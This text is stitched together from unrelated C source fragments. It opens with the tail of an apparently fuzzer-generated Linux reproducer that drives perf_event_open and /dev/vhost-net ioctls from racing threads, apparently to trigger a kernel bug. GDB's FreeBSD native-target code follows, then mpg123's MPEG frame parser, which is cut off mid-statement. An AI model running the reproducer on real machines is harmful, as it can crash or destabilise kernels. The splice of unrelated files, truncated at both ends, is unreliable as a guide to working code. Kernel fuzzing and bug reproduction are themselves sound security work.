= &threads[thread]; if (!th->created) { th->created = 1; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); pthread_create(&th->th, &attr, thr, th); } if (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) { th->call = call; __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &th->running, FUTEX_WAKE); if (collide && call % 2) break; struct timespec ts; ts.tv_sec = 0; ts.tv_nsec = 20 * 1000 * 1000; syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts); if (running) usleep((call == num_calls - 1) ? 10000 : 1000); break; } } } } long r[2]; uint64_t procid; void execute_call(int call) { switch (call) { case 0: syscall(__NR_mmap, 0x20000000, 0xfff000, 3, 0x32, -1, 0); break; case 1: *(uint32_t*)0x2025c000 = 2; *(uint32_t*)0x2025c004 = 0x78; *(uint8_t*)0x2025c008 = 0xe3; *(uint8_t*)0x2025c009 = 0; *(uint8_t*)0x2025c00a = 0; *(uint8_t*)0x2025c00b = 0; *(uint32_t*)0x2025c00c = 0; *(uint64_t*)0x2025c010 = 0; *(uint64_t*)0x2025c018 = 0; *(uint64_t*)0x2025c020 = 0; STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 0, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 1, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 2, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 3, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 4, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0xffff7fffffffffff, 5, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 6, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 7, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 8, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 9, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 10, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 11, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 12, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 13, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 14, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 15, 2); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 17, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 18, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 19, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 20, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 21, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 22, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 23, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 24, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 25, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 26, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 27, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 28, 1); STORE_BY_BITMASK(uint64_t, 0x2025c028, 0, 29, 35); *(uint32_t*)0x2025c030 = 0; *(uint32_t*)0x2025c034 = 0; *(uint64_t*)0x2025c038 = 0x20000000; *(uint64_t*)0x2025c040 = 0; *(uint64_t*)0x2025c048 = 0; *(uint64_t*)0x2025c050 = 0; *(uint64_t*)0x2025c058 = 0; *(uint32_t*)0x2025c060 = 0; *(uint64_t*)0x2025c068 = 0; *(uint32_t*)0x2025c070 = 0; *(uint16_t*)0x2025c074 = 0; *(uint16_t*)0x2025c076 = 0; syscall(__NR_perf_event_open, 0x2025c000, 0, 0, -1, 0); break; case 2: memcpy((void*)0x203de000, "/dev/vhost-net", 15); r[0] = syscall(__NR_openat, 0xffffffffffffff9c, 0x203de000, 2, 0); break; case 3: *(uint64_t*)0x201e3000 = 0; syscall(__NR_ioctl, r[0], 0xaf01, 0x201e3000); break; case 4: r[1] = syscall(__NR_eventfd, 0); break; case 5: *(uint32_t*)0x208ffff8 = 0; *(uint32_t*)0x208ffffc = r[1]; syscall(__NR_ioctl, r[0], 0x4008af20, 0x208ffff8); break; case 6: syscall(__NR_ioctl, r[0], 0xaf02, 0); break; } } void test() { memset(r, -1, sizeof(r)); execute(7); collide = 1; execute(7); } int main() { char* cwd = get_current_dir_name(); for (procid = 0; procid < 8; procid++) { if (fork() == 0) { for (;;) { if (chdir(cwd)) fail("failed to chdir"); use_temporary_dir(); int pid = do_sandbox_namespace(procid, true); int status = 0; while (waitpid(pid, &status, __WALL) != pid) { } } } } sleep(1000000); return 0; }
714848.c
/* Native-dependent code for FreeBSD. Copyright (C) 2002-2015 Free Software Foundation, Inc. This file is part of GDB. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "defs.h" #include "gdbcore.h" #include "inferior.h" #include "regcache.h" #include "regset.h" #include "gdbthread.h" #include "gdb_wait.h" #include <sys/types.h> #include <sys/procfs.h> #include <sys/ptrace.h> #include <sys/sysctl.h> #ifdef HAVE_KINFO_GETVMMAP #include <sys/user.h> #include <libutil.h> #endif #include "elf-bfd.h" #include "fbsd-nat.h" /* Return the name of a file that can be opened to get the symbols for the child process identified by PID. */ static char * fbsd_pid_to_exec_file (struct target_ops *self, int pid) { ssize_t len = PATH_MAX; static char buf[PATH_MAX]; char name[PATH_MAX]; #ifdef KERN_PROC_PATHNAME int mib[4]; mib[0] = CTL_KERN; mib[1] = KERN_PROC; mib[2] = KERN_PROC_PATHNAME; mib[3] = pid; if (sysctl (mib, 4, buf, &len, NULL, 0) == 0) return buf; #endif xsnprintf (name, PATH_MAX, "/proc/%d/exe", pid); len = readlink (name, buf, PATH_MAX - 1); if (len != -1) { buf[len] = '\0'; return buf; } return NULL; } #ifdef HAVE_KINFO_GETVMMAP /* Iterate over all the memory regions in the current inferior, calling FUNC for each memory region. OBFD is passed as the last argument to FUNC. */ static int fbsd_find_memory_regions (struct target_ops *self, find_memory_region_ftype func, void *obfd) { pid_t pid = ptid_get_pid (inferior_ptid); struct kinfo_vmentry *vmentl, *kve; uint64_t size; struct cleanup *cleanup; int i, nitems; vmentl = kinfo_getvmmap (pid, &nitems); if (vmentl == NULL) perror_with_name (_("Couldn't fetch VM map entries.")); cleanup = make_cleanup (free, vmentl); for (i = 0; i < nitems; i++) { kve = &vmentl[i]; /* Skip unreadable segments and those where MAP_NOCORE has been set. */ if (!(kve->kve_protection & KVME_PROT_READ) || kve->kve_flags & KVME_FLAG_NOCOREDUMP) continue; /* Skip segments with an invalid type. */ if (kve->kve_type != KVME_TYPE_DEFAULT && kve->kve_type != KVME_TYPE_VNODE && kve->kve_type != KVME_TYPE_SWAP && kve->kve_type != KVME_TYPE_PHYS) continue; size = kve->kve_end - kve->kve_start; if (info_verbose) { fprintf_filtered (gdb_stdout, "Save segment, %ld bytes at %s (%c%c%c)\n", (long) size, paddress (target_gdbarch (), kve->kve_start), kve->kve_protection & KVME_PROT_READ ? 'r' : '-', kve->kve_protection & KVME_PROT_WRITE ? 'w' : '-', kve->kve_protection & KVME_PROT_EXEC ? 'x' : '-'); } /* Invoke the callback function to create the corefile segment. Pass MODIFIED as true, we do not know the real modification state. */ func (kve->kve_start, size, kve->kve_protection & KVME_PROT_READ, kve->kve_protection & KVME_PROT_WRITE, kve->kve_protection & KVME_PROT_EXEC, 1, obfd); } do_cleanups (cleanup); return 0; } #else static int fbsd_read_mapping (FILE *mapfile, unsigned long *start, unsigned long *end, char *protection) { /* FreeBSD 5.1-RELEASE uses a 256-byte buffer. */ char buf[256]; int resident, privateresident; unsigned long obj; int ret = EOF; /* As of FreeBSD 5.0-RELEASE, the layout is described in /usr/src/sys/fs/procfs/procfs_map.c. Somewhere in 5.1-CURRENT a new column was added to the procfs map. Therefore we can't use fscanf since we need to support older releases too. */ if (fgets (buf, sizeof buf, mapfile) != NULL) ret = sscanf (buf, "%lx %lx %d %d %lx %s", start, end, &resident, &privateresident, &obj, protection); return (ret != 0 && ret != EOF); } /* Iterate over all the memory regions in the current inferior, calling FUNC for each memory region. OBFD is passed as the last argument to FUNC. */ static int fbsd_find_memory_regions (struct target_ops *self, find_memory_region_ftype func, void *obfd) { pid_t pid = ptid_get_pid (inferior_ptid); char *mapfilename; FILE *mapfile; unsigned long start, end, size; char protection[4]; int read, write, exec; struct cleanup *cleanup; mapfilename = xstrprintf ("/proc/%ld/map", (long) pid); cleanup = make_cleanup (xfree, mapfilename); mapfile = fopen (mapfilename, "r"); if (mapfile == NULL) error (_("Couldn't open %s."), mapfilename); make_cleanup_fclose (mapfile); if (info_verbose) fprintf_filtered (gdb_stdout, "Reading memory regions from %s\n", mapfilename); /* Now iterate until end-of-file. */ while (fbsd_read_mapping (mapfile, &start, &end, &protection[0])) { size = end - start; read = (strchr (protection, 'r') != 0); write = (strchr (protection, 'w') != 0); exec = (strchr (protection, 'x') != 0); if (info_verbose) { fprintf_filtered (gdb_stdout, "Save segment, %ld bytes at %s (%c%c%c)\n", size, paddress (target_gdbarch (), start), read ? 'r' : '-', write ? 'w' : '-', exec ? 'x' : '-'); } /* Invoke the callback function to create the corefile segment. Pass MODIFIED as true, we do not know the real modification state. */ func (start, size, read, write, exec, 1, obfd); } do_cleanups (cleanup); return 0; } #endif #ifdef PT_LWPINFO static ptid_t (*super_wait) (struct target_ops *, ptid_t, struct target_waitstatus *, int); #ifdef TDP_RFPPWAIT /* To catch fork events, PT_FOLLOW_FORK is set on every traced process to enable stops on returns from fork or vfork. Note that both the parent and child will always stop, even if system call stops are not enabled. After a fork, both the child and parent process will stop and report an event. However, there is no guarantee of order. If the parent reports its stop first, then fbsd_wait explicitly waits for the new child before returning. If the child reports its stop first, then the event is saved on a list and ignored until the parent's stop is reported. fbsd_wait could have been changed to fetch the parent PID of the new child and used that to wait for the parent explicitly. However, if two threads in the parent fork at the same time, then the wait on the parent might return the "wrong" fork event. The initial version of PT_FOLLOW_FORK did not set PL_FLAG_CHILD for the new child process. This flag could be inferred by treating any events for an unknown pid as a new child. In addition, the initial version of PT_FOLLOW_FORK did not report a stop event for the parent process of a vfork until after the child process executed a new program or exited. The kernel was changed to defer the wait for exit or exec of the child until after posting the stop event shortly after the change to introduce PL_FLAG_CHILD. This could be worked around by reporting a vfork event when the child event posted and ignoring the subsequent event from the parent. This implementation requires both of these fixes for simplicity's sake. FreeBSD versions newer than 9.1 contain both fixes. */ struct fbsd_fork_child_info { struct fbsd_fork_child_info *next; pid_t child; /* Pid of new child. */ }; static struct fbsd_fork_child_info *fbsd_pending_children; /* Record a new child process event that is reported before the corresponding fork event in the parent. */ static void fbsd_remember_child (pid_t pid) { struct fbsd_fork_child_info *info; info = xcalloc (1, sizeof *info); info->child = pid; info->next = fbsd_pending_children; fbsd_pending_children = info; } /* Check for a previously-recorded new child process event for PID. If one is found, remove it from the list. */ static int fbsd_is_child_pending (pid_t pid) { struct fbsd_fork_child_info *info, *prev; prev = NULL; for (info = fbsd_pending_children; info; prev = info, info = info->next) { if (info->child == pid) { if (prev == NULL) fbsd_pending_children = info->next; else prev->next = info->next; xfree (info); return 1; } } return 0; } /* Fetch the external variant of the kernel's internal process structure for the process PID into KP. */ static void fbsd_fetch_kinfo_proc (pid_t pid, struct kinfo_proc *kp) { size_t len; int mib[4]; len = sizeof *kp; mib[0] = CTL_KERN; mib[1] = KERN_PROC; mib[2] = KERN_PROC_PID; mib[3] = pid; if (sysctl (mib, 4, kp, &len, NULL, 0) == -1) perror_with_name (("sysctl")); } #endif /* Wait for the child specified by PTID to do something. Return the process ID of the child, or MINUS_ONE_PTID in case of error; store the status in *OURSTATUS. */ static ptid_t fbsd_wait (struct target_ops *ops, ptid_t ptid, struct target_waitstatus *ourstatus, int target_options) { ptid_t wptid; while (1) { wptid = super_wait (ops, ptid, ourstatus, target_options); if (ourstatus->kind == TARGET_WAITKIND_STOPPED) { struct ptrace_lwpinfo pl; pid_t pid; int status; pid = ptid_get_pid (wptid); if (ptrace (PT_LWPINFO, pid, (caddr_t)&pl, sizeof pl) == -1) perror_with_name (("ptrace")); #ifdef TDP_RFPPWAIT if (pl.pl_flags & PL_FLAG_FORKED) { struct kinfo_proc kp; pid_t child; child = pl.pl_child_pid; ourstatus->kind = TARGET_WAITKIND_FORKED; ourstatus->value.related_pid = pid_to_ptid (child); /* Make sure the other end of the fork is stopped too. */ if (!fbsd_is_child_pending (child)) { pid = waitpid (child, &status, 0); if (pid == -1) perror_with_name (("waitpid")); gdb_assert (pid == child); if (ptrace (PT_LWPINFO, child, (caddr_t)&pl, sizeof pl) == -1) perror_with_name (("ptrace")); gdb_assert (pl.pl_flags & PL_FLAG_CHILD); } /* For vfork, the child process will have the P_PPWAIT flag set. */ fbsd_fetch_kinfo_proc (child, &kp); if (kp.ki_flag & P_PPWAIT) ourstatus->kind = TARGET_WAITKIND_VFORKED; return wptid; } if (pl.pl_flags & PL_FLAG_CHILD) { /* Remember that this child forked, but do not report it until the parent reports its corresponding fork event. */ fbsd_remember_child (ptid_get_pid (wptid)); continue; } #endif #ifdef PL_FLAG_EXEC if (pl.pl_flags & PL_FLAG_EXEC) { ourstatus->kind = TARGET_WAITKIND_EXECD; ourstatus->value.execd_pathname = xstrdup (fbsd_pid_to_exec_file (NULL, pid)); return wptid; } #endif } return wptid; } } #ifdef TDP_RFPPWAIT /* Target hook for follow_fork. On entry and at return inferior_ptid is the ptid of the followed inferior. */ static int fbsd_follow_fork (struct target_ops *ops, int follow_child, int detach_fork) { if (!follow_child) { struct thread_info *tp = inferior_thread (); pid_t child_pid = ptid_get_pid (tp->pending_follow.value.related_pid); /* Breakpoints have already been detached from the child by infrun.c. */ if (ptrace (PT_DETACH, child_pid, (PTRACE_TYPE_ARG3)1, 0) == -1) perror_with_name (("ptrace")); } return 0; } static int fbsd_insert_fork_catchpoint (struct target_ops *self, int pid) { return 0; } static int fbsd_remove_fork_catchpoint (struct target_ops *self, int pid) { return 0; } static int fbsd_insert_vfork_catchpoint (struct target_ops *self, int pid) { return 0; } static int fbsd_remove_vfork_catchpoint (struct target_ops *self, int pid) { return 0; } /* Enable fork tracing for a specific process. To catch fork events, PT_FOLLOW_FORK is set on every traced process to enable stops on returns from fork or vfork. Note that both the parent and child will always stop, even if system call stops are not enabled. */ static void fbsd_enable_follow_fork (pid_t pid) { if (ptrace (PT_FOLLOW_FORK, pid, (PTRACE_TYPE_ARG3)0, 1) == -1) perror_with_name (("ptrace")); } /* Implement the "to_post_startup_inferior" target_ops method. */ static void fbsd_post_startup_inferior (struct target_ops *self, ptid_t pid) { fbsd_enable_follow_fork (ptid_get_pid (pid)); } /* Implement the "to_post_attach" target_ops method. */ static void fbsd_post_attach (struct target_ops *self, int pid) { fbsd_enable_follow_fork (pid); } #endif #ifdef PL_FLAG_EXEC /* If the FreeBSD kernel supports PL_FLAG_EXEC, then traced processes will always stop after exec. */ static int fbsd_insert_exec_catchpoint (struct target_ops *self, int pid) { return 0; } static int fbsd_remove_exec_catchpoint (struct target_ops *self, int pid) { return 0; } #endif #endif void fbsd_nat_add_target (struct target_ops *t) { t->to_pid_to_exec_file = fbsd_pid_to_exec_file; t->to_find_memory_regions = fbsd_find_memory_regions; #ifdef PT_LWPINFO super_wait = t->to_wait; t->to_wait = fbsd_wait; #ifdef TDP_RFPPWAIT t->to_follow_fork = fbsd_follow_fork; t->to_insert_fork_catchpoint = fbsd_insert_fork_catchpoint; t->to_remove_fork_catchpoint = fbsd_remove_fork_catchpoint; t->to_insert_vfork_catchpoint = fbsd_insert_vfork_catchpoint; t->to_remove_vfork_catchpoint = fbsd_remove_vfork_catchpoint; t->to_post_startup_inferior = fbsd_post_startup_inferior; t->to_post_attach = fbsd_post_attach; #endif #ifdef PL_FLAG_EXEC t->to_insert_exec_catchpoint = fbsd_insert_exec_catchpoint; t->to_remove_exec_catchpoint = fbsd_remove_exec_catchpoint; #endif #endif add_target (t); }
135870.c
/* parse: spawned from common; clustering around stream/frame parsing copyright ?-2009 by the mpg123 project - free software under the terms of the LGPL 2.1 see COPYING and AUTHORS files in distribution or http://mpg123.org initially written by Michael Hipp & Thomas Orgis */ #include "mpg123lib_intern.h" #include <sys/stat.h> #include <fcntl.h> #include "getbits.h" #if defined (WANT_WIN32_SOCKETS) #include <winsock2.h> #include <ws2tcpip.h> #endif /* a limit for number of frames in a track; beyond that unsigned long may not be enough to hold byte addresses */ #ifdef HAVE_LIMITS_H #include <limits.h> #endif #ifndef ULONG_MAX /* hm, is this portable across preprocessors? */ #define ULONG_MAX ((unsigned long)-1) #endif #define TRACK_MAX_FRAMES ULONG_MAX/4/1152 #include "debug.h" #define bsbufid(fr) (fr)->bsbuf==(fr)->bsspace[0] ? 0 : ((fr)->bsbuf==fr->bsspace[1] ? 1 : ( (fr)->bsbuf==(fr)->bsspace[0]+512 ? 2 : ((fr)->bsbuf==fr->bsspace[1]+512 ? 3 : -1) ) ) /* AAAAAAAA AAABBCCD EEEEFFGH IIJJKLMM A: sync B: mpeg version C: layer D: CRC E: bitrate F: sampling rate G: padding H: private I: channel mode J: mode ext K: copyright L: original M: emphasis old compare mask 0xfffffd00: 11111111 11111111 11111101 00000000 means: everything must match excluding padding and channel mode, ext mode, ... But a vbr stream's headers will differ in bitrate! We are already strict in allowing only frames of same type in stream, we should at least watch out for VBR while being strict. So a better mask is: 11111111 11111111 00001101 00000000 Even more, I'll allow varying crc bit. 11111111 11111110 00001101 00000000 Still unsure about this private bit... well, as Marcel pointed out: The decoder should not care about this. 11111111 11111110 00001100 00000000 */ #define HDRCMPMASK 0xfffe0c00 /* This needs cleanup ... The parser is not as strict as documented above. Here comes a mask that checks for anything that can change sampling rate. This includes change of MPEG version and frequency bits. 00011000 00001100 00000000, BB and FF bits */ #define HDRSAMPMASK 0x180c00 /* bitrates for [mpeg1/2][layer] */ static const int tabsel_123[2][3][16] = { { {0,32,64,96,128,160,192,224,256,288,320,352,384,416,448,}, {0,32,48,56, 64, 80, 96,112,128,160,192,224,256,320,384,}, {0,32,40,48, 56, 64, 80, 96,112,128,160,192,224,256,320,} }, { {0,32,48,56,64,80,96,112,128,144,160,176,192,224,256,}, {0,8,16,24,32,40,48,56,64,80,96,112,128,144,160,}, {0,8,16,24,32,40,48,56,64,80,96,112,128,144,160,} } }; static const long freqs[9] = { 44100, 48000, 32000, 22050, 24000, 16000 , 11025 , 12000 , 8000 }; static int decode_header(mpg123_handle *fr,unsigned long newhead); /* These two are to be replaced by one function that gives all the frame parameters (for outsiders).*/ /* Those functions are unsafe regarding bad arguments (inside the mpg123_handle), but just returning anything would also be unsafe, the caller code has to be trusted. */ int frame_bitrate(mpg123_handle *fr) { return tabsel_123[fr->lsf][fr->lay-1][fr->bitrate_index]; } long frame_freq(mpg123_handle *fr) { return freqs[fr->sampling_frequency]; } #define free_format_header(head) ( ((head & 0xffe00000) == 0xffe00000) && ((head>>17)&3) && (((head>>12)&0xf) == 0x0) && (((head>>10)&0x3) != 0x3 )) /* compiler is smart enought to inline this one or should I really do it as macro...? */ static int head_check(unsigned long head) { if ( /* first 11 bits are set to 1 for frame sync */ ((head & 0xffe00000) != 0xffe00000) || /* layer: 01,10,11 is 1,2,3; 00 is reserved */ (!((head>>17)&3)) || /* 1111 means bad bitrate */ (((head>>12)&0xf) == 0xf) || /* sampling freq: 11 is reserved */ (((head>>10)&0x3) == 0x3 ) /* here used to be a mpeg 2.5 check... re-enabled 2.5 decoding due to lack of evidence that it is really not good */ ) { return FALSE; } /* if no check failed, the header is valid (hopefully)*/ else { return TRUE; } } static int check_lame_tag(mpg123_handle *fr) { /* going to look for Xing or Info at some position after the header MPEG 1 MPEG 2/2.5 (LSF) Stereo, Joint Stereo, Dual Channel 32 17 Mono 17 9 Also, how to avoid false positives? I guess I should interpret more of the header to rule that out(?). I hope that ensuring all zeros until tag start is enough. */ int lame_offset = (fr->stereo == 2) ? (fr->lsf ? 17 : 32 ) : (fr->lsf ? 9 : 17); /* At least skip the decoder delay. */ #ifdef GAPLESS if(fr->p.flags & MPG123_GAPLESS) { if(fr->begin_s == 0) frame_gapless_init(fr, GAPLESS_DELAY, 0); } #endif if(fr->framesize >= 120+lame_offset) /* traditional Xing header is 120 bytes */ { int i; int lame_type = 0; debug("do we have lame tag?"); /* only search for tag when all zero before it (apart from checksum) */ for(i=2; i < lame_offset; ++i) if(fr->bsbuf[i] != 0) break; if(i == lame_offset) { debug("possibly..."); if ( (fr->bsbuf[lame_offset] == 'I') && (fr->bsbuf[lame_offset+1] == 'n') && (fr->bsbuf[lame_offset+2] == 'f') && (fr->bsbuf[lame_offset+3] == 'o') ) { lame_type = 1; /* We still have to see what there is */ } else if ( (fr->bsbuf[lame_offset] == 'X') && (fr->bsbuf[lame_offset+1] == 'i') && (fr->bsbuf[lame_offset+2] == 'n') && (fr->bsbuf[lame_offset+3] == 'g') ) { lame_type = 2; fr->vbr = MPG123_VBR; /* Xing header means always VBR */ } if(lame_type) { unsigned long xing_flags; /* we have one of these headers... */ if(VERBOSE2) fprintf(stderr, "Note: Xing/Lame/Info header detected\n"); /* now interpret the Xing part, I have 120 bytes total for sure */ /* there are 4 bytes for flags, but only the last byte contains known ones */ lame_offset += 4; /* now first byte after Xing/Name */ /* 4 bytes dword for flags */ #define make_long(a, o) ((((unsigned long) a[o]) << 24) | (((unsigned long) a[o+1]) << 16) | (((unsigned long) a[o+2]) << 8) | ((unsigned long) a[o+3])) /* 16 bit */ #define make_short(a,o) ((((unsigned short) a[o]) << 8) | ((unsigned short) a[o+1])) xing_flags = make_long(fr->bsbuf, lame_offset); lame_offset += 4; debug1("Xing: flags 0x%08lx", xing_flags); if(xing_flags & 1) /* frames */ { if(fr->p.flags & MPG123_IGNORE_STREAMLENGTH) { if(VERBOSE3) fprintf(stderr, "Note: Ignoring Xing frames because of MPG123_IGNORE_STREAMLENGTH\n"); } else { /* In theory, one should use that value for skipping... When I know the exact number of samples I could simply count in flush_output, but that's problematic with seeking and such. I still miss the real solution for detecting the end. */ fr->track_frames = (off_t) make_long(fr->bsbuf, lame_offset); if(fr->track_frames > TRACK_MAX_FRAMES) fr->track_frames = 0; /* endless stream? */ #ifdef GAPLESS /* if no further info there, remove/add at least the decoder delay */ if(fr->p.flags & MPG123_GAPLESS) { off_t length = fr->track_frames * spf(fr); if(length > 1) frame_gapless_init(fr, GAPLESS_DELAY, length+GAPLESS_DELAY); } #endif if(VERBOSE3) fprintf(stderr, "Note: Xing: %lu frames\n", (long unsigned)fr->track_frames); } lame_offset += 4; } if(xing_flags & 0x2) /* bytes */ { if(fr->p.flags & MPG123_IGNORE_STREAMLENGTH) { if(VERBOSE3) fprintf(stderr, "Note: Ignoring Xing bytes because of MPG123_IGNORE_STREAMLENGTH\n"); } else { unsigned long xing_bytes = make_long(fr->bsbuf, lame_offset); /* We assume that this is the _total_ size of the file, including Xing frame ... and ID3 frames... It's not that clearly documented... */ if(fr->rdat.filelen < 1) fr->rdat.filelen = (off_t) xing_bytes; /* One could start caring for overflow here. */ else { if((off_t) xing_bytes != fr->rdat.filelen && NOQUIET) { double diff = 1.0/fr->rdat.filelen * (fr->rdat.filelen - (off_t)xing_bytes); if(diff < 0.) diff = -diff; if(VERBOSE3) fprintf(stderr, "Note: Xing stream size %lu differs by %f%% from determined/given file size!\n", xing_bytes, diff); if(diff > 1.) fprintf(stderr, "Warning: Xing stream size off by more than 1%%, fuzzy seeking may be even more fuzzy than by design!\n"); } } if(VERBOSE3) fprintf(stderr, "Note: Xing: %lu bytes\n", (long unsigned)xing_bytes); } lame_offset += 4; } if(xing_flags & 0x4) /* TOC */ { frame_fill_toc(fr, fr->bsbuf+lame_offset); lame_offset += 100; /* just skip */ } if(xing_flags & 0x8) /* VBR quality */ { if(VERBOSE3) { unsigned long xing_quality = make_long(fr->bsbuf, lame_offset); fprintf(stderr, "Note: Xing: quality = %lu\n", (long unsigned)xing_quality); } lame_offset += 4; } /* I guess that either 0 or LAME extra data follows */ /* there may this crc16 be floating around... (?) */ if(fr->bsbuf[lame_offset] != 0) { unsigned char lame_vbr; float replay_gain[2] = {0,0}; float peak = 0; /* float gain_offset = 0; */ /* going to be +6 for old lame that used 83dB */ char nb[10]; memcpy(nb, fr->bsbuf+lame_offset, 9); nb[9] = 0; if(VERBOSE3) fprintf(stderr, "Note: Info: Encoder: %s\n", nb); if(!strncmp("LAME", nb, 4)) { /* gain_offset = 6; */ debug("TODO: finish lame detetcion..."); } lame_offset += 9; /* the 4 big bits are tag revision, the small bits vbr method */ lame_vbr = fr->bsbuf[lame_offset] & 15; if(VERBOSE3) { fprintf(stderr, "Note: Info: rev %u\n", fr->bsbuf[lame_offset] >> 4); fprintf(stderr, "Note: Info: vbr mode %u\n", lame_vbr); } lame_offset += 1; switch(lame_vbr) { /* from rev1 proposal... not sure if all good in practice */ case 1: case 8: fr->vbr = MPG123_CBR; break; case 2: case 9: fr->vbr = MPG123_ABR; break; default: fr->vbr = MPG123_VBR; /* 00==unknown is taken as VBR */ } /* skipping: lowpass filter value */ lame_offset += 1; /* replaygain */ /* 32bit float: peak amplitude -- why did I parse it as int before??*/ /* Ah, yes, lame seems to store it as int since some day in 2003; I've only seen zeros anyway until now, bah! */ if ( (fr->bsbuf[lame_offset] != 0) || (fr->bsbuf[lame_offset+1] != 0) || (fr->bsbuf[lame_offset+2] != 0) || (fr->bsbuf[lame_offset+3] != 0) ) { debug("Wow! Is there _really_ a non-zero peak value? Now is it stored as float or int - how should I know?"); /* byte*peak_bytes = (byte*) &peak; ... endianess ... just copy bytes to avoid floating point operation on unaligned memory? peak_bytes[0] = ... peak = *(float*) (fr->bsbuf+lame_offset); */ } if(VERBOSE3) fprintf(stderr, "Note: Info: peak = %f (I won't use this)\n", peak); peak = 0; /* until better times arrived */ lame_offset += 4; /* ReplayGain values - lame only writes radio mode gain... 16bit gain, 3 bits name, 3 bits originator, sign (1=-, 0=+), dB value*10 in 9 bits (fixed point) ignore the setting if name or originator == 000! radio 0 0 1 0 1 1 1 0 0 1 1 1 1 1 0 1 audiophile 0 1 0 0 1 0 0 0 0 0 0 1 0 1 0 0 */ for(i =0; i < 2; ++i) { unsigned char origin = (fr->bsbuf[lame_offset] >> 2) & 0x7; /* the 3 bits after that... */ if(origin != 0) { unsigned char gt = fr->bsbuf[lame_offset] >> 5; /* only first 3 bits */ if(gt == 1) gt = 0; /* radio */ else if(gt == 2) gt = 1; /* audiophile */ else continue; /* get the 9 bits into a number, divide by 10, multiply sign... happy bit banging */ replay_gain[0] = (float) ((fr->bsbuf[lame_offset] & 0x2) ? -0.1 : 0.1) * (make_short(fr->bsbuf, lame_offset) & 0x1f); } lame_offset += 2; } if(VERBOSE3) { fprintf(stderr, "Note: Info: Radio Gain = %03.1fdB\n", replay_gain[0]); fprintf(stderr, "Note: Info: Audiophile Gain = %03.1fdB\n", replay_gain[1]); } for(i=0; i < 2; ++i) { if(fr->rva.level[i] <= 0) { fr->rva.peak[i] = 0; /* at some time the parsed peak should be used */ fr->rva.gain[i] = replay_gain[i]; fr->rva.level[i] = 0; } } lame_offset += 1; /* skipping encoding flags byte */ if(fr->vbr == MPG123_ABR) { fr->abr_rate = fr->bsbuf[lame_offset]; if(VERBOSE3) fprintf(stderr, "Note: Info: ABR rate = %u\n", fr->abr_rate); } lame_offset += 1; /* encoder delay and padding, two 12 bit values... lame does write them from int ...*/ if(VERBOSE3) fprintf(stderr, "Note: Encoder delay = %i; padding = %i\n", ((((int) fr->bsbuf[lame_offset]) << 4) | (((int) fr->bsbuf[lame_offset+1]) >> 4)), (((((int) fr->bsbuf[lame_offset+1]) << 8) | (((int) fr->bsbuf[lame_offset+2]))) & 0xfff) ); #ifdef GAPLESS if(fr->p.flags & MPG123_GAPLESS) { off_t length = fr->track_frames * spf(fr); off_t skipbegin = GAPLESS_DELAY + ((((int) fr->bsbuf[lame_offset]) << 4) | (((int) fr->bsbuf[lame_offset+1]) >> 4)); off_t skipend = -GAPLESS_DELAY + (((((int) fr->bsbuf[lame_offset+1]) << 8) | (((int) fr->bsbuf[lame_offset+2]))) & 0xfff); debug3("preparing gapless mode for layer3: length %lu, skipbegin %lu, skipend %lu", (long unsigned)length, (long unsigned)skipbegin, (long unsigned)skipend); if(length > 1) frame_gapless_init(fr, skipbegin, (skipend < length) ? length-skipend : length); } #endif } /* switch buffer back ... */ fr->bsbuf = fr->bsspace[fr->bsnum]+512; fr->bsnum = (fr->bsnum + 1) & 1; return 1; /* got it! */ } } } return 0; /* no lame tag */ } /* Just tell if the header is some mono. */ static int header_mono(unsigned long newhead) { return ((newhead>>6)&0x3) == MPG_MD_MONO ? TRUE : FALSE; } /* That's a big one: read the next frame. 1 is success, <= 0 is some error Special error READER_MORE means: Please feed more data and try again. */ int read_frame(mpg123_handle *fr) { /* TODO: rework this thing */ unsigned long newhead; off_t framepos; int ret; off_t oret; /* stuff that needs resetting if complete frame reading fails */ int oldsize = fr->framesize; int oldphase = fr->halfphase; /* The counter for the search-first-header loop. It is persistent outside the loop to prevent seemingly endless loops when repeatedly headers are found that do not have valid followup headers. */ int headcount = 0; fr->fsizeold=fr->framesize; /* for Layer3 */ /* Speed-down hack: Play it again, Sam (the frame, I mean). */ if 